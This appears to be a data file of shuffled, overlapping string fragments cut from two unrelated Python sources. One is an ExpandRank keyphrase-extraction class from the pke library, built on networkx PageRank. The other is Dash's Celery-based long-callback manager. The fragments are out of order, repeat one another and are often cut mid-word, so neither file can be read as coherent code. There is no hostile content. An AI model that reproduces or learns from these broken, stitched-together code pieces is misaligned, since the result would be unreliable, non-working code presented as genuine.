"connected if they occur in a window # of 10", "= self.candidates[k].lexical_form self.weights[k] = sum([w[t] for t in tokens]) if", "sum of their word's scores that are # computed using", "expand_word_graph(self, input_file, similarity, window=10, pos=None): \"\"\"Expands the word graph using", "the longest sequences of nouns and adjectives, that do #", "self.candidates[k].lexical_form self.weights[k] = sum([w[t] for t in tokens]) if normalized:", "example:: import pke import string from nltk.corpus import stopwords #", "from nltk.corpus import stopwords # 1. create an ExpandRank extractor.", "#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: <NAME>", "networkx as nx import logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction", "# build the word graph self.build_word_graph(window=window, pos=pos) # expand the", "# 3. select the the longest sequences of nouns and", "window within the sentence for connecting two words in the", "a window # of 10 words. A set of extra", "to the input file. similarity (float): similarity for weighting edges.", "within the sentence for connecting two words in the graph,", "extra documents should be provided to expand # the graph.", "<NAME> # Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction model. Graph-based ranking", "if node not in self.graph and sentence.pos[j] in pos: self.graph.add_node(node)", "w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop through the candidates", "'ADJ'). expanded_documents (list): the set of documents to expand the", "__future__ import unicode_literals from __future__ import absolute_import from onmt.keyphrase.pke.unsupervised import", "the word scores using random walk w = nx.pagerank_scipy(self.graph, alpha=0.85,", "given document. Args: input_file (str): path to the input file.", "3. select the the longest sequences of nouns and adjectives,", "list(string.punctuation) stoplist += ['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist", "nouns and adjectives, that do # not contain punctuation marks", "for ExpandRank. \"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self, input_file, similarity, window=10,", "# and adjectives only) that are connected if they occur", "'ADJ'} if expanded_documents is None: expanded_documents = [] logging.warning('No neighbor", "document. Args: input_file (str): path to the input file. similarity", "to empty list, i.e. no expansion. normalized (False): normalize keyphrase", "stopwords # 1. create an ExpandRank extractor. extractor = pke.unsupervised.ExpandRank()", "not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def", "similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) # compute the", "absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base import LoadFile import", "using random walk. Args: window (int): the window within the", "the sum of their word's scores that are # computed", "alpha=0.85, weight='weight') # loop through the candidates for k in", "for ExpandRank.') # build the word graph self.build_word_graph(window=window, pos=pos) #", "pos = {'NOUN', 'PROPN', 'ADJ'} stoplist = list(string.punctuation) stoplist +=", "weight the candidates using the sum of their word's scores", "sequence to build the edges in the graph for j,", "the set of valid pos for words to be considered", "the graph. expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos,", "'ADJ'). \"\"\" # define default pos tags set if pos", "(float): similarity for weighting edges. window (int): the window within", "provided to expand # the graph. expanded_documents = [('path/to/input1.xml', similarity1),", "= {'NOUN', 'PROPN', 'ADJ'} if expanded_documents is None: expanded_documents =", "extraction model. Parameterized example:: import pke import string from nltk.corpus", "they occur in a window # of 10 words. A", "initialize document loader doc = LoadFile() # read document doc.load_document(input=input_file,", "* <NAME> and <NAME>. Single Document Keyphrase Extraction Using Neighborhood", "print_function from __future__ import division from __future__ import unicode_literals from", "defaults to False. \"\"\" # define default pos tags set", "stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight the candidates using the", "adjectives, that do # not contain punctuation marks or stopwords", "and <NAME>. Single Document Keyphrase Extraction Using Neighborhood Knowledge. *In", "be considered as nodes in the graph, defaults to ('NOUN',", "in: * <NAME> and <NAME>. Single Document Keyphrase Extraction Using", "node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] +=", "string from nltk.corpus import stopwords # 1. create an ExpandRank", "and initialize nodes sequence = [] for sentence in doc.sentences:", "pke import string from nltk.corpus import stopwords # 1. create", "pos=None): \"\"\"Expands the word graph using the given document. Args:", "connecting two words in the graph, defaults to 10. pos", "in the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). expanded_documents (list):", "class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model. Parameterized example:: import pke", "extractor = pke.unsupervised.ExpandRank() # 2. load the content of the", "and node_2[1] in pos \\ and node_1[0] != node_2[0]: if", "division from __future__ import unicode_literals from __future__ import absolute_import from", "and adjectives, that do # not contain punctuation marks or", "10. pos (set): the set of valid pos for words", "In the graph, nodes are words (nouns # and adjectives", "normalize keyphrase score by their length, defaults to False. \"\"\"", "# -*- coding: utf-8 -*- # Author: <NAME> # Date:", "in self.graph and sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) #", "of the document. extractor.load_document(input='path/to/input.xml') # 3. select the the longest", "to be considered as nodes in the graph, defaults to", "the graph, should be a list of tuples (input_path, similarity).", "for weighting edges. window (int): the window within the sentence", "nx import logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model. Parameterized", "ExpandRank. \"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self, input_file, similarity, window=10, pos=None):", "window=10, pos=None): \"\"\"Expands the word graph using the given document.", "is None: expanded_documents = [] logging.warning('No neighbor documents provided for", "candidates using the sum of their word's scores that are", "their word's scores that are # computed using random walk.", "logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model. Parameterized example:: import", "using random walk. In the graph, nodes are words (nouns", "similarity, window=10, pos=None): \"\"\"Expands the word graph using the given", "Neighborhood Knowledge. *In proceedings of AAAI*, pages 855-860, 2008. \"\"\"", "\"\"\"ExpandRank keyphrase extraction model. Parameterized example:: import pke import string", "of tuples (input_path, similarity). Defaults to empty list, i.e. no", "Args: window (int): the window within the sentence for connecting", "= [] logging.warning('No neighbor documents provided for ExpandRank.') # build", "('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5. get the", "sequences of nouns and adjectives, that do # not contain", "extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\" Redefining initializer for ExpandRank. \"\"\"", "valid pos for words to be considered as nodes in", "node_1[0] != node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0)", "'ADJ'} stoplist = list(string.punctuation) stoplist += ['-lrb-', '-rrb-', '-lcb-', '-rcb-',", "described in: * <NAME> and <NAME>. Single Document Keyphrase Extraction", "<NAME> and <NAME>. Single Document Keyphrase Extraction Using Neighborhood Knowledge.", "def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking using random", "get the 10-highest scored candidates as keyphrases keyphrases = extractor.get_n_best(n=10)", "the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). expanded_documents (list): the", "Redefining initializer for ExpandRank. \"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self, input_file,", "score by their length, defaults to False. \"\"\" # define", "the the longest sequences of nouns and adjectives, that do", "select the the longest sequences of nouns and adjectives, that", "unicode_literals from __future__ import absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank from", "if node_1[1] in pos and node_2[1] in pos \\ and", "self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate", "python # -*- coding: utf-8 -*- # Author: <NAME> #", "pages 855-860, 2008. \"\"\" from __future__ import print_function from __future__", "855-860, 2008. \"\"\" from __future__ import print_function from __future__ import", "= {'NOUN', 'PROPN', 'ADJ'} stoplist = list(string.punctuation) stoplist += ['-lrb-',", "that are # computed using random walk. In the graph,", "should be a list of tuples (input_path, similarity). Defaults to", "no expansion. normalized (False): normalize keyphrase score by their length,", "# computed using random walk. In the graph, nodes are", "(nouns # and adjectives only) that are connected if they", "# define default pos tags set if pos is None:", "expanded_documents (list): the set of documents to expand the graph,", "= {'NOUN', 'PROPN', 'ADJ'} # initialize document loader doc =", "import logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model. Parameterized example::", "# expand the word graph for input_file, similarity in expanded_documents:", "stoplist=stoplist) # 4. weight the candidates using the sum of", "Extraction Using Neighborhood Knowledge. *In proceedings of AAAI*, pages 855-860,", "document loader doc = LoadFile() # read document doc.load_document(input=input_file, language=self.language,", "from __future__ import absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base", "approach to keyphrase extraction described in: * <NAME> and <NAME>.", "\\ and node_1[0] != node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0],", "the input file. similarity (float): similarity for weighting edges. window", "self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self,", "node in enumerate(sentence.stems): if node not in self.graph and sentence.pos[j]", "build the word graph self.build_word_graph(window=window, pos=pos) # expand the word", "similarity=similarity, window=window, pos=pos) # compute the word scores using random", "Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction model. Graph-based ranking approach to", "ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model. Parameterized example:: import pke import", "from __future__ import division from __future__ import unicode_literals from __future__", "'-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist)", "for connecting two words in the graph, defaults to 10.", "weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False):", "word's scores that are # computed using random walk. In", "defaults to ('NOUN', 'PROPN', 'ADJ'). expanded_documents (list): the set of", "None: pos = {'NOUN', 'PROPN', 'ADJ'} # initialize document loader", "ExpandRank.') # build the word graph self.build_word_graph(window=window, pos=pos) # expand", "list, i.e. no expansion. normalized (False): normalize keyphrase score by", "sequence = [] for sentence in doc.sentences: for j, node", "4. weight the candidates using the sum of their word's", "in a window # of 10 words. A set of", "document and initialize nodes sequence = [] for sentence in", "walk. Args: window (int): the window within the sentence for", "loop through sequence to build the edges in the graph", "build the edges in the graph for j, node_1 in", "of AAAI*, pages 855-860, 2008. \"\"\" from __future__ import print_function", "of nouns and adjectives, that do # not contain punctuation", "for k in self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k] = sum([w[t]", "is None: pos = {'NOUN', 'PROPN', 'ADJ'} if expanded_documents is", "LoadFile import networkx as nx import logging class ExpandRank(SingleRank): \"\"\"ExpandRank", "graph, defaults to ('NOUN', 'PROPN', 'ADJ'). \"\"\" # define default", "extractor. extractor = pke.unsupervised.ExpandRank() # 2. load the content of", "in pos \\ and node_1[0] != node_2[0]: if not self.graph.has_edge(node_1[0],", "nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop through the candidates for k", "documents should be provided to expand # the graph. expanded_documents", "enumerate(sentence.stems): if node not in self.graph and sentence.pos[j] in pos:", "'-lsb-', '-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight", "nodes in the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). expanded_documents", "doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten document and initialize nodes sequence", "normalized=False): \"\"\"Candidate ranking using random walk. Args: window (int): the", "+ window, len(sequence))): node_2 = sequence[k] if node_1[1] in pos", "of 10 words. A set of extra documents should be", "expand the graph, should be a list of tuples (input_path,", "self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k] = sum([w[t] for t in", "window # of 10 words. A set of extra documents", "proceedings of AAAI*, pages 855-860, 2008. \"\"\" from __future__ import", "neighbor documents provided for ExpandRank.') # build the word graph", "\"\"\"Expands the word graph using the given document. Args: input_file", "the 10-highest scored candidates as keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\"", "# 4. weight the candidates using the sum of their", "in doc.sentences: for j, node in enumerate(sentence.stems): if node not", "for j, node_1 in enumerate(sequence): for k in range(j +", "initialize nodes sequence = [] for sentence in doc.sentences: for", "(str): path to the input file. similarity (float): similarity for", "1, min(j + window, len(sequence))): node_2 = sequence[k] if node_1[1]", "pos \\ and node_1[0] != node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]):", "set of valid pos for words to be considered as", "= [] for sentence in doc.sentences: for j, node in", "pos (set): the set of valid pos for words to", "is None: pos = {'NOUN', 'PROPN', 'ADJ'} # initialize document", "the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). \"\"\" # define", "sum([w[t] for t in tokens]) if normalized: self.weights[k] /= len(tokens)", "import stopwords # 1. create an ExpandRank extractor. extractor =", "words. A set of extra documents should be provided to", "Defaults to empty list, i.e. no expansion. normalized (False): normalize", "for sentence in doc.sentences: for j, node in enumerate(sentence.stems): if", "set of extra documents should be provided to expand #", "edges. window (int): the window within the sentence for connecting", "+ 1, min(j + window, len(sequence))): node_2 = sequence[k] if", "expand the word graph for input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file,", "as nodes in the graph, defaults to ('NOUN', 'PROPN', 'ADJ').", "None: pos = {'NOUN', 'PROPN', 'ADJ'} if expanded_documents is None:", "-*- # Author: <NAME> # Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction", "onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base import LoadFile import networkx as", "window (int): the window within the sentence for connecting two", "-*- coding: utf-8 -*- # Author: <NAME> # Date: 10-02-2018", "should be provided to expand # the graph. expanded_documents =", "self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) # compute the word scores using", "compute the word scores using random walk w = nx.pagerank_scipy(self.graph,", "Document Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings of AAAI*,", "Graph-based ranking approach to keyphrase extraction described in: * <NAME>", "import pke import string from nltk.corpus import stopwords # 1.", "LoadFile() # read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten document", "input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) # compute", "through the candidates for k in self.candidates.keys(): tokens = self.candidates[k].lexical_form", "model. Parameterized example:: import pke import string from nltk.corpus import", "keyphrase extraction described in: * <NAME> and <NAME>. Single Document", "\"\"\" Redefining initializer for ExpandRank. \"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self,", "to ('NOUN', 'PROPN', 'ADJ'). \"\"\" # define default pos tags", "(False): normalize keyphrase score by their length, defaults to False.", "# the graph. expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10,", "expanded_documents=expanded_documents, format='corenlp') # 5. get the 10-highest scored candidates as", "document. extractor.load_document(input='path/to/input.xml') # 3. select the the longest sequences of", "expanded_documents=None, normalized=False): \"\"\"Candidate ranking using random walk. Args: window (int):", "A set of extra documents should be provided to expand", "random walk. Args: window (int): the window within the sentence", "input_file (str): path to the input file. similarity (float): similarity", "are connected if they occur in a window # of", "not in self.graph and sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j]))", "import LoadFile import networkx as nx import logging class ExpandRank(SingleRank):", "be provided to expand # the graph. expanded_documents = [('path/to/input1.xml',", "initializer for ExpandRank. \"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self, input_file, similarity,", "node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10,", "'PROPN', 'ADJ'). expanded_documents (list): the set of documents to expand", "in the graph for j, node_1 in enumerate(sequence): for k", "keyphrases = extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\" Redefining initializer for", "= sequence[k] if node_1[1] in pos and node_2[1] in pos", "or stopwords as candidates. pos = {'NOUN', 'PROPN', 'ADJ'} stoplist", "self).__init__() def expand_word_graph(self, input_file, similarity, window=10, pos=None): \"\"\"Expands the word", "j, node_1 in enumerate(sequence): for k in range(j + 1,", "onmt.keyphrase.pke.base import LoadFile import networkx as nx import logging class", "coding: utf-8 -*- # Author: <NAME> # Date: 10-02-2018 \"\"\"ExpandRank", "node_2[1] in pos \\ and node_1[0] != node_2[0]: if not", "longest sequences of nouns and adjectives, that do # not", "pos is None: pos = {'NOUN', 'PROPN', 'ADJ'} # initialize", "two words in the graph, defaults to 10. pos (set):", "length, defaults to False. \"\"\" # define default pos tags", "extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight the candidates using the sum", "in range(j + 1, min(j + window, len(sequence))): node_2 =", "in the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). \"\"\" #", "the word graph for input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity,", "define default pos tags set if pos is None: pos", "# 2. load the content of the document. extractor.load_document(input='path/to/input.xml') #", "# compute the word scores using random walk w =", "extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5. get the 10-highest scored", "contain punctuation marks or stopwords as candidates. pos = {'NOUN',", "# flatten document and initialize nodes sequence = [] for", "create an ExpandRank extractor. extractor = pke.unsupervised.ExpandRank() # 2. load", "<NAME>. Single Document Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings", "node_1 in enumerate(sequence): for k in range(j + 1, min(j", "using the given document. Args: input_file (str): path to the", "to expand the graph, should be a list of tuples", "the graph, defaults to 10. pos (set): the set of", "only) that are connected if they occur in a window", "Author: <NAME> # Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction model. Graph-based", "the document. extractor.load_document(input='path/to/input.xml') # 3. select the the longest sequences", "pos=pos) # compute the word scores using random walk w", "input_file, similarity, window=10, pos=None): \"\"\"Expands the word graph using the", "random walk w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop through", "[] for sentence in doc.sentences: for j, node in enumerate(sentence.stems):", "pos and node_2[1] in pos \\ and node_1[0] != node_2[0]:", "expansion. normalized (False): normalize keyphrase score by their length, defaults", "the graph for j, node_1 in enumerate(sequence): for k in", "window, len(sequence))): node_2 = sequence[k] if node_1[1] in pos and", "in self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k] = sum([w[t] for t", "loader doc = LoadFile() # read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization)", "if they occur in a window # of 10 words.", "# read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten document and", "that are connected if they occur in a window #", "and node_1[0] != node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0],", "self.graph and sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop", "{'NOUN', 'PROPN', 'ADJ'} stoplist = list(string.punctuation) stoplist += ['-lrb-', '-rrb-',", "the word graph self.build_word_graph(window=window, pos=pos) # expand the word graph", "similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5. get", "[] logging.warning('No neighbor documents provided for ExpandRank.') # build the", "enumerate(sequence): for k in range(j + 1, min(j + window,", "def __init__(self): \"\"\" Redefining initializer for ExpandRank. \"\"\" super(ExpandRank, self).__init__()", "the candidates using the sum of their word's scores that", "extraction described in: * <NAME> and <NAME>. Single Document Keyphrase", "from onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base import LoadFile import networkx", "are # computed using random walk. In the graph, nodes", "pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop through sequence to build", "the window within the sentence for connecting two words in", "import absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base import LoadFile", "\"\"\" from __future__ import print_function from __future__ import division from", "*In proceedings of AAAI*, pages 855-860, 2008. \"\"\" from __future__", "occur in a window # of 10 words. A set", "language=self.language, normalization=self.normalization) # flatten document and initialize nodes sequence =", "self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10, pos=None,", "set if pos is None: pos = {'NOUN', 'PROPN', 'ADJ'}", "document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten document and initialize nodes", "expanded_documents = [] logging.warning('No neighbor documents provided for ExpandRank.') #", "graph for j, node_1 in enumerate(sequence): for k in range(j", "pos = {'NOUN', 'PROPN', 'ADJ'} # initialize document loader doc", "pos=pos) # expand the word graph for input_file, similarity in", "nodes in the graph, defaults to ('NOUN', 'PROPN', 'ADJ'). \"\"\"", "10-02-2018 \"\"\"ExpandRank keyphrase extraction model. Graph-based ranking approach to keyphrase", "in enumerate(sentence.stems): if node not in self.graph and sentence.pos[j] in", "word graph self.build_word_graph(window=window, pos=pos) # expand the word graph for", "adjectives only) that are connected if they occur in a" ]
[ "from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app =", "#!/usr/bin/env python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack", "import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.App() FagateServerlessStack(app,", "core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.App() FagateServerlessStack(app, \"serverless-xray-stack\")", "from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.App() FagateServerlessStack(app, \"serverless-xray-stack\") app.synth()", "python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app", "aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.App()", "<reponame>mmeidlinger/cdk-microservices-labs #!/usr/bin/env python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import" ]
[ "\"dash[celery]\"\\n\"\"\" ) from missing_imports if not isinstance(celery_app, celery.Celery): raise ValueError(\"First", "is None: self.clear_cache_entry(key) else: if self.expire: # Set/update expiration time", "json.loads(result) # Clear result if not caching if self.cache_by is", "if job is None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task", "super().__init__(cache_by) self.handle = celery_app self.expire = expire def terminate_job(self, job):", "and the return values of these functions are combined with", "celery_app: A celery.Celery application instance that must be configured with", "callback logic on a celery task queue, and stores results", "pip install \"dash[celery]\"\\n\"\"\" ) from missing_imports if not isinstance(celery_app, celery.Celery):", "is enabled and the return values of these functions are", "that runs callback logic on a celery task queue, and", "isinstance(celery_app, celery.Celery): raise ValueError(\"First argument must be a celery.Celery object\")", "_plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def", "return None def clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn,", "function's input arguments and source code to generate cache keys.", "dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None):", "fn, progress, args_deps): return _make_job_fn(fn, self.handle, progress, args_deps) def get_task(self,", "installed doing $ pip install \"dash[celery]\"\\n\"\"\" ) from missing_imports if", "with a result backend\") super().__init__(cache_by) self.handle = celery_app self.expire =", "if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance must be configured with", "to create a unique (but stable) celery task name fn_source", "instance that must be configured with a result backend. See", "backend. :param celery_app: A celery.Celery application instance that must be", "maybe_progress = [_set_progress] if progress else [] if isinstance(args_deps, dict):", "cache = celery_app.backend # Hash function source and module to", "**user_callback_args) elif isinstance(args_deps, (list, tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args) else:", "= celery_app.backend # Hash function source and module to create", "if result is None: return None result = json.loads(result) #", "is determined by the default behavior of the celery result", "logic on a celery task queue, and stores results using", "\"PROGRESS\", ) def make_job_fn(self, fn, progress, args_deps): return _make_job_fn(fn, self.handle,", "try: import celery # pylint: disable=import-outside-toplevel,import-error from celery.backends.base import (", "return False def job_running(self, job): future = self.get_task(job) return future", "results using a celery result backend. :param celery_app: A celery.Celery", "def get_task(self, job): if job: return self.handle.AsyncResult(job) return None def", "with a result backend. See the celery documentation for information", "job): # Get result value result = self.handle.backend.get(key) if result", "return None def result_ready(self, key): return self.handle.backend.get(key) is not None", "raise ValueError(\"Celery instance must be configured with a result backend\")", "has not been accessed for ``expire`` seconds. If not provided,", "default behavior of the celery result backend. \"\"\" try: import", "return None result = json.loads(result) # Clear result if not", "and future.status in ( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", )", "tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args) else: user_callback_output = fn(*maybe_progress, user_callback_args)", "progress, args_deps) def get_task(self, job): if job: return self.handle.AsyncResult(job) return", "code to generate cache keys. :param expire: If provided, a", "def clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args): task", "elif isinstance(args_deps, (list, tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args) else: user_callback_output", "See the celery documentation for information on configuration options. :param", "callback function's input arguments and source code to generate cache", "module to create a unique (but stable) celery task name", "source code to generate cache keys. :param expire: If provided,", "source and module to create a unique (but stable) celery", "of zero-argument functions. When provided, caching is enabled and the", "name fn_source = inspect.getsource(fn) fn_str = fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest()", "hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key,", "keys. :param expire: If provided, a cache entry will be", "not isinstance(celery_app, celery.Celery): raise ValueError(\"First argument must be a celery.Celery", "if not caching if self.cache_by is None: self.clear_cache_entry(key) else: if", "and task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False def", "return self.handle.AsyncResult(job) return None def clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self,", "json.loads(progress_data) return None def result_ready(self, key): return self.handle.backend.get(key) is not", "isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance must be configured with a", "return task.task_id def get_progress(self, key): progress_key = self._make_progress_key(key) progress_data =", "def __init__(self, celery_app, cache_by=None, expire=None): \"\"\" Long callback manager that", "if progress else [] if isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress,", "raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra dependencies which can be", "raise ValueError(\"First argument must be a celery.Celery object\") if isinstance(celery_app.backend,", "[] if isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps,", "self.cache_by is None: self.clear_cache_entry(key) else: if self.expire: # Set/update expiration", "If provided, a cache entry will be removed when it", "job): if job is None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job):", "# Get result value result = self.handle.backend.get(key) if result is", "cache_by: A list of zero-argument functions. When provided, caching is", "celery task name fn_source = inspect.getsource(fn) fn_str = fn_source fn_hash", "are combined with the callback function's input arguments and source", "be installed doing $ pip install \"dash[celery]\"\\n\"\"\" ) from missing_imports", "with the callback function's input arguments and source code to", "celery_app, cache_by=None, expire=None): \"\"\" Long callback manager that runs callback", "celery_app self.expire = expire def terminate_job(self, job): if job is", "self.terminate_job(job) return result def _make_job_fn(fn, celery_app, progress, args_deps): cache =", "@celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value,", "import celery # pylint: disable=import-outside-toplevel,import-error from celery.backends.base import ( #", "def result_ready(self, key): return self.handle.backend.get(key) is not None def get_result(self,", "expire=None): \"\"\" Long callback manager that runs callback logic on", "return self.handle.backend.get(key) is not None def get_result(self, key, job): #", "entry will be removed when it has not been accessed", "job): future = self.get_task(job) return future and future.status in (", "\"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", ) def make_job_fn(self, fn, progress, args_deps):", "user_callback_output = fn(*maybe_progress, *user_callback_args) else: user_callback_output = fn(*maybe_progress, user_callback_args) cache.set(result_key,", "ValueError(\"First argument must be a celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend):", "not provided, the lifetime of cache entries is determined by", "backend\") super().__init__(cache_by) self.handle = celery_app self.expire = expire def terminate_job(self,", "in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False def job_running(self, job):", "progress_data = self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data) return None def", "it has not been accessed for ``expire`` seconds. If not", "celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance must be", "ValueError(\"Celery instance must be configured with a result backend\") super().__init__(cache_by)", "is not None def get_result(self, key, job): # Get result", "else: user_callback_output = fn(*maybe_progress, user_callback_args) cache.set(result_key, json.dumps(user_callback_output, cls=PlotlyJSONEncoder)) return job_fn", "self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args): task = job_fn.delay(key, self._make_progress_key(key),", "self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def _make_job_fn(fn, celery_app, progress, args_deps):", "expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def _make_job_fn(fn,", "function source and module to create a unique (but stable)", "missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra dependencies which can", "( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", ) def make_job_fn(self, fn,", "result if not caching if self.cache_by is None: self.clear_cache_entry(key) else:", "None def result_ready(self, key): return self.handle.backend.get(key) is not None def", "self.handle, progress, args_deps) def get_task(self, job): if 